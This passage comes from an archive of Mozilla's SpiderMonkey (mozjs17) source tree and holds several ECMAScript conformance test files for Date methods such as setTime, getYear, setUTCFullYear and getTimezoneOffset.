d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCFullYear( t, year, mon, date ) { var T = ( t != t ) ? 0 : t; var YEAR = Number(year); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-11.js0000664000175000017500000001031712106270663020471 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( now, -86400000 ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.5.js0000664000175000017500000000413112106270663020167 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.5.js ECMA Section: 15.9.5.5 Description: Date.prototype.getYear This function is specified here for backwards compatibility only. The function getFullYear is much to be preferred for nearly all purposes, because it avoids the "year 2000 problem." 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return YearFromTime(LocalTime(t)) 1900. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.5"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getYear()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); new TestCase( SECTION, "(new Date(NaN)).getYear()", NaN, (new Date(NaN)).getYear() ); new TestCase( SECTION, "Date.prototype.getYear.length", 0, Date.prototype.getYear.length ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getYear()", GetYear(YearFromTime(LocalTime(t))), (new Date(t)).getYear() ); new TestCase( SECTION, "(new Date("+(t+1)+")).getYear()", GetYear(YearFromTime(LocalTime(t+1))), (new Date(t+1)).getYear() ); new TestCase( SECTION, "(new Date("+(t-1)+")).getYear()", GetYear(YearFromTime(LocalTime(t-1))), (new Date(t-1)).getYear() ); new TestCase( SECTION, "(new Date("+(t-TZ_ADJUST)+")).getYear()", GetYear(YearFromTime(LocalTime(t-TZ_ADJUST))), (new Date(t-TZ_ADJUST)).getYear() ); new TestCase( SECTION, "(new Date("+(t+TZ_ADJUST)+")).getYear()", GetYear(YearFromTime(LocalTime(t+TZ_ADJUST))), (new Date(t+TZ_ADJUST)).getYear() ); } function GetYear( year ) { return year - 1900; } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.11-2.js0000664000175000017500000000213612106270663020406 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.11 ECMA Section: 15.9.5.11 Description: Date.prototype.getUTCDate 1.Let t be this time value. 2.If t is NaN, return NaN. 1.Return DateFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.11"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_0000 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDate()", DateFromTime(d), (new Date(d)).getUTCDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.37-1.js0000664000175000017500000001325012106270663020414 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.37-1.js ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getUTCMonth( ). If date is not specified, this behaves as if date were specified with the value getUTCDate( ). 1. Let t be this time value; but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute MakeDate(Result(5), TimeWithinDay(t)). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added some Year 2000 test cases. */ var SECTION = "15.9.5.37-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )"); // Dates around 1970 addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1970);TDATE", UTCDateFromTime(SetUTCFullYear(0,1970)), LocalDateFromTime(SetUTCFullYear(0,1970)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1971);TDATE", UTCDateFromTime(SetUTCFullYear(0,1971)), LocalDateFromTime(SetUTCFullYear(0,1971)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1972);TDATE", UTCDateFromTime(SetUTCFullYear(0,1972)), LocalDateFromTime(SetUTCFullYear(0,1972)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1968);TDATE", UTCDateFromTime(SetUTCFullYear(0,1968)), LocalDateFromTime(SetUTCFullYear(0,1968)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1969);TDATE", UTCDateFromTime(SetUTCFullYear(0,1969)), LocalDateFromTime(SetUTCFullYear(0,1969)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1969);TDATE", UTCDateFromTime(SetUTCFullYear(0,1969)), LocalDateFromTime(SetUTCFullYear(0,1969)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCFullYear( t, year, mon, date ) { var T = ( t != t ) ? 0 : t; var YEAR = Number(year); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-12.js0000664000175000017500000001031712106270663020472 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( now, 946684800000 ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-13.js0000664000175000017500000000264512106270663020474 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); // some daylight savings time cases var DST_END_1998 = GetDSTEnd(TimeFromYear(1998)); addTestCase( DST_END_1998+1 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/dst-offset-caching-6-of-8.js0000664000175000017500000000025212106270663023647 0ustar sstanglsstangl// |reftest| slow /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ runDSTOffsetCachingTestsFraction(6, 8); mozjs17.0.0/js/src/tests/ecma/Date/15.9.2.2-2.js0000664000175000017500000000330012106270663020315 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.2.2.js ECMA Section: 15.9.2.2 Date constructor used as a function Date( year, month, date, hours, minutes, seconds ) Description: The arguments are accepted, but are completely ignored. A string is created and returned as if by the expression (new Date()).toString(). Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = 9706; startTest(); var SECTION = "15.9.2.2"; var TOLERANCE = 100; var TITLE = "The Date Constructor Called as a Function"; writeHeaderToLog(SECTION+" "+TITLE ); // allow up to 1 second difference due to possibility // the date may change by 1 second in between calls to Date var d1; var d2; // Dates around 2000 d1 = new Date(); d2 = Date.parse(Date(1999,11,15,59,59)); new TestCase( SECTION, "Date(1999,11,15,59,59)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1999,11,16,0,0,0)); new TestCase( SECTION, "Date(1999,11,16,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1999,11,31,23,59,59)); new TestCase( SECTION, "Date(1999,11,31,23,59,59)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2000,0,0,0,0,0)); new TestCase( SECTION, "Date(2000,0,1,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(2000,0,0,0,0,1)); new TestCase( SECTION, "Date(2000,0,1,0,0,1)", true, d2 - d1 <= 1000) test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.24-5.js0000664000175000017500000000760512106270663020423 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.24-1.js ECMA Section: 15.9.5.24 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var TITLE = "Date.prototype.setTime" var SECTION = "15.9.5.24-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)"); addTestCase( 0, "0" ); test(); function addTestCase( startms, newms ) { var DateCase = new Date( startms ); DateCase.setMilliseconds( newms ); var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date"; var UTCDate = UTCDateFromTime( Number(newms) ); var LocalDate = LocalDateFromTime( Number(newms) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.22-2.js0000664000175000017500000000213512106270663020407 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.22.js ECMA Section: 15.9.5.22 Description: Date.prototype.getTimezoneOffset Returns the difference between local time and UTC time in minutes. 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return (t - LocalTime(t)) / msPerMinute. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.22"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTimezoneOffset()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_0000 ); test(); function addTestCase( t ) { for ( m = 0; m <= 1000; m+=100 ) { t++; new TestCase( SECTION, "(new Date("+t+")).getTimezoneOffset()", (t - LocalTime(t)) / msPerMinute, (new Date(t)).getTimezoneOffset() ); } } mozjs17.0.0/js/src/tests/ecma/Date/dst-offset-caching-1-of-8.js0000664000175000017500000000025212106270663023642 0ustar sstanglsstangl// |reftest| slow /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ runDSTOffsetCachingTestsFraction(1, 8); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.24-8.js0000664000175000017500000000761712106270663020431 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.24-1.js ECMA Section: 15.9.5.24 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var TITLE = "Date.prototype.setTime" var SECTION = "15.9.5.24-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMilliseconds(ms)"); addTestCase( 0, "946684800000" ); test(); function addTestCase( startms, newms ) { var DateCase = new Date( startms ); DateCase.setMilliseconds( newms ); var DateString = "var date = new Date("+ startms +"); date.setMilliseconds("+ newms +"); date"; var UTCDate = UTCDateFromTime( Number(newms) ); var LocalDate = LocalDateFromTime( Number(newms) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.28-1.js0000664000175000017500000001450112106270663020414 0ustar sstanglsstangl// |reftest| fails-if(Android) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.28-1.js ECMA Section: 15.9.5.28 Date.prototype.setMinutes(min [, sec [, ms ]] ) Description: If sec is not specified, this behaves as if sec were specified with the value getSeconds ( ). If ms is not specified, this behaves as if ms were specified with the value getMilliseconds( ). 1. Let t be the result of LocalTime(this time value). 2. Call ToNumber(min). 3. If sec is not specified, compute SecFromTime(t); otherwise, call ToNumber(sec). 4. If ms is not specified, compute msFromTime(t); otherwise, call ToNumber(ms). 5. Compute MakeTime(HourFromTime(t), Result(2), Result(3), Result(4)). 6. Compute UTC(MakeDate(Day(t), Result(5))). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.28-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setMinutes(sec [,ms] )"); addNewTestCase( 0, 0, 